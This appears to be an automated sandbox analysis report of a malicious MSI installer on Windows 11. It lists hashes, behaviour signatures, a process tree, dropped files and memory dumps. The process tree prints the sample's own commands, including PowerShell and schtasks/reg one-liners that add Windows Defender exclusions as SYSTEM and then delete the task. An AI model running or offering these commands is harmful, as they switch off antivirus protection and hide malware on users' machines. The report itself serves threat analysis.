Analysis

  • max time kernel
    147s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 11:14

General

  • Target
    setup_n0c009.msi
  • Size 7.1MB
  • Sample260804-nb6a1aab48
  • SHA256 c4ca153cdc3f284a127760327f0eb388c71e239a4262ed2f5c68bdee75257fc4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 2 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 7 IoCs
  • Drops file in Windows directory 13 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\setup_n0c009.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:3584
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4236
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2948
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding E1DBF04982DE8BCA5A69C628AF7BA758 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1200
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:1864
  • C:\Users\Public\bT1Wg7\HTr3HT.exe
    "C:\Users\Public\bT1Wg7\HTr3HT.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2600
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4664
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\bT1Wg7\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      PID:4264
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\bT1Wg7\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2452
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5812
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:1348
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          PID:3192
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:6140
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2324
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3132
          • C:\Windows\system32\cmd.exe
            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\bT1Wg7" /t REG_DWORD /d 0 /f
            1⤵
            • Executes a command shell one-liner
            PID:5716
          • C:\Windows\system32\cmd.exe
            cmd.exe
            1⤵
              PID:1632
            • C:\Windows\system32\cmd.exe
              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
              1⤵
              • Executes a command shell one-liner
              PID:4440

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  e5a0a43.rbs

                  • Path C:\Config.Msi\e5a0a43.rbs
                  • Size 7KB
                  • SHA256 c74a896f0fe4c22e9240a52aad3be0ae6df1986d4c178121f98070717c8a0f93
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  HTr3HT.exe

                  • Path C:\Users\Public\bT1Wg7\HTr3HT.exe
                  • Size 135KB
                  • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  UxEnhance64.dll

                  • Path C:\Users\Public\bT1Wg7\UxEnhance64.dll
                  • Size 3.1MB
                  • SHA256 c50e0bdcb27739abf663e3e2c13ec9c1e609e636035fbf0e3cb4c46ea1c24fa5
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  adoresd.dat

                  • Path C:\Users\Public\bT1Wg7\adoresd.dat
                  • Size 4.7MB
                  • SHA256 5832c0ff30a5e645d0707356f49fee988fbb20836bf80d66059234e2613d3f41
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  msadox.tb

                  • Path C:\Users\Public\bT1Wg7\msadox.tb
                  • Size 8KB
                  • SHA256 c769a38353ac67936820211eea40745011591de4783e8bc28da0fe449c5a1664
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  MSI11C5.tmp

                  • Path C:\Windows\Installer\MSI11C5.tmp
                  • Size 7.0MB
                  • SHA256 58ac4e2623e7520961a0523ccc84cdae28580485828c0ad83f77ae2968ec6456
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  e5a0a42.msi

                  • Path C:\Windows\Installer\e5a0a42.msi
                  • Size 7.1MB
                  • SHA256 c4ca153cdc3f284a127760327f0eb388c71e239a4262ed2f5c68bdee75257fc4
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  metadata-2

                  • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                  • Size 26.1MB
                  • SHA256 a954eaf68b86a50ffdec75d78984308262a3dc0a610f8fa6b17117c3d48c36b7
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  {a2be92c7-6410-4d1b-8a93-408fad78b26f}_OnDiskSnapshotProp

                  • Path \??\Volume{c61fa831-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{a2be92c7-6410-4d1b-8a93-408fad78b26f}_OnDiskSnapshotProp
                  • Size 6KB
                  • SHA256 59e853650a456e981d8cf3c91a52eae033419265f508f59c2c23dcec5a222ad4
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  memory/1200-12-0x00007FFB757F0000-0x00007FFB757F2000-memory.dmp

                  memory/1200-41-0x00007FFB5DDA0000-0x00007FFB5DDB2000-memory.dmp

                  memory/1200-16-0x00007FFB5DDA0000-0x00007FFB5DDB2000-memory.dmp

                  memory/1200-13-0x00007FFB51A00000-0x00007FFB5203B000-memory.dmp

                  memory/2600-63-0x00007FFB75800000-0x00007FFB75802000-memory.dmp

                  memory/2600-75-0x0000011662D60000-0x00000116635F1000-memory.dmp

                  memory/2600-61-0x0000011662D60000-0x00000116635F1000-memory.dmp

                  memory/2600-68-0x0000011662D60000-0x00000116635F1000-memory.dmp

                  memory/2600-55-0x00007FFB757F0000-0x00007FFB757F2000-memory.dmp

                  memory/2600-64-0x0000011662D60000-0x00000116635F1000-memory.dmp

                  memory/2600-70-0x0000011662D60000-0x00000116635F1000-memory.dmp

                  memory/2600-71-0x0000011662D60000-0x00000116635F1000-memory.dmp

                  memory/2600-69-0x0000011662D60000-0x00000116635F1000-memory.dmp

                  memory/2600-56-0x00007FFB51B20000-0x00007FFB5203E000-memory.dmp

                  memory/2600-85-0x0000011663600000-0x000001166368A000-memory.dmp

                  memory/2600-81-0x00000116622B0000-0x00000116622FE000-memory.dmp

                  memory/2600-86-0x0000011663600000-0x000001166368A000-memory.dmp

                  memory/2600-83-0x0000011663600000-0x000001166368A000-memory.dmp

                  memory/2600-84-0x0000011663600000-0x000001166368A000-memory.dmp

                  memory/2600-88-0x0000011662D60000-0x00000116635F1000-memory.dmp

                  memory/2600-90-0x0000011662D60000-0x00000116635F1000-memory.dmp

                  memory/2600-92-0x0000011662D60000-0x00000116635F1000-memory.dmp